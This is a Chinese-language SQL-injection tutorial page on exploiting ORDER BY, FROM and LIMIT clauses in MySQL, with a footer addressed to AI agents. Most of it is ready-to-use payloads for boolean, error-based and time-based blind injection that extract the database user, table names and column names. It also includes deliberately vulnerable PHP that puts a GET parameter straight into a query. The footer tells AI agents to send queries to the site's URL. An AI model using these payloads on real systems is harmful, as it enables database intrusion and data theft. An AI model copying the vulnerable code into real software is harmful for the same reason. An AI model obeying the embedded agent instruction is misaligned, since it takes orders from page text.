# 1.1.4 order,limit和from后的注入

## order by 注入

这是一种特殊的注入 sql语句为 select *from admin order by $id 或者"select* from goods order by $\_GET\['order']"我们一般用order by 来判断他的列数，其实他就是一个依照第几个列来排序的过程。

order by注入是不能 直接使用and 1=1 来判断的，他需要用到条件语句。

```
mysql> select * from admin order by id;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | cdmin    | bdmin    |
|    2 | admin    | ddmin    |
|    3 | bdmin    | fdmin    |
+------+----------+----------+
3 rows in set (0.00 sec)

mysql> select * from admin order by username;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | admin    | ddmin    |
|    3 | bdmin    | fdmin    |
|    1 | cdmin    | bdmin    |
+------+----------+----------+
3 rows in set (0.00 sec)
```

进一步构造payload 前面的判断并不是绝对的，我们需要构造出类似and 1=1、and 1=2的payload以便于注入出数据

```
http://192.168.239.2:81/?order=IF(1=1,name,price) 通过name字段排序
http://192.168.239.2:81/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过price字段排序
http://192.168.239.2:81/?order=IFNULL(NULL,price) 通过name字段排序
http://192.168.239.2:81/?order=IFNULL(NULL,name) 通过price字段排序
```

可以观测到排序的结果不一样

```
http://192.168.239.2:81/?order=rand(1=1) 
http://192.168.239.2:81/?order=rand(1=2)
```

利用报错 在有些情况下无法知道列名，而且也不太直观的去判断两次请求的差别，如下用IF语句为例

返回多条记录

```
http://192.168.239.2:81/?order=IF(1=1,1,(select+1+union+select+2)) 正确
http://192.168.239.2:81/?order=IF(1=2,1,(select+1+union+select+2)) 错误
/?order=IF(1=1,1,(select+1+from+information_schema.tables))  正常
/?order=IF(1=2,1,(select+1+from+information_schema.tables))  错误
```

利用regexp

```
http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
http://192.168.239.2:81/?order=(select+1+regexp+if(1=2,1,0x00))  错误
```

利用updatexml

```
http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1)  正确
http://192.168.239.2:81/?order=updatexml(1,if(1=2,1,user()),1) 错误
```

利用extractvalue

```
http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) 正确
http://192.168.239.2:81/?order=extractvalue(1,if(1=2,1,user())) 错误
```

基于时间的盲注、 注意如果直接if(1=2,1,SLEEP(2))，sleep时间将会变成2\*当前表中记录的数目，将会对服务器造成一定的拒绝服务攻击

```
/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
```

数据猜解 以猜解user()即root\@localhost为例子，由于只能一位一位猜解，可以利用SUBSTR,SUBSTRING,MID,以及left和right可以精准分割出每一位子串。然后就是比较操作了可以利用=,like,regexp等。这里要注意like是不区分大小写

通过下可以得知user()第一位为r,ascii码的16进制为0x72

<http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00>)) 正确 <http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00>)) 错误 猜解当前数据的表名

```
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00))  正确
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误
```

猜解指定表名中的列名

```
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误
```

测试源码：

```php
error_reporting(0);
session_start();
mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");
mysql_select_db("sqlidemo") or die("Select database failed");

$order = $_GET['order'] ? $_GET['order'] : 'name';
$sql = "select id,name,price from goods order by $order";

$result = mysql_query($sql);

$reslist = array();

while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
  array_push($reslist, $row);
}

echo json_encode($reslist);
```

## From

from 后面的注入比较少 还是提一下

select \* from $id;

可以结合 order by 来注入

可以使用联合注入来注入

```
mysql> select * from admin union select 1,user(),3;
+------+----------------+----------+
| id   | username       | password |
+------+----------------+----------+
|    3 | bdmin          | fdmin    |
|    2 | admin          | ddmin    |
|    1 | cdmin          | bdmin    |
|    1 | root@localhost | 3        |
+------+----------------+----------+
4 rows in set (0.02 sec)
```

方法跟普通注入一样的一样自己加上表名

## limit

这种注入也不是很常见，依照 <https://rateip.com/blog/sql-injections-in-mysql-limit-clause/> 来提一下

```
mysql> select * from admin where id >0 limit 0,1 $id
```

如何利用呢 大佬们已经给出方法了 用 PROCEDURE ANALYSE 配合报错注入,所以多看文档，如果你想提升下自己的水平

```
mysql> select * from admin where id >0 order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
ERROR:
No query specified
```

这里延时只能使用BENCHMARK() 如同

```
select * from admin where id >0 order by id limit 0,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1)))),1);
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ninjia.gitbook.io/secskill/web/sql/orderlimit.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
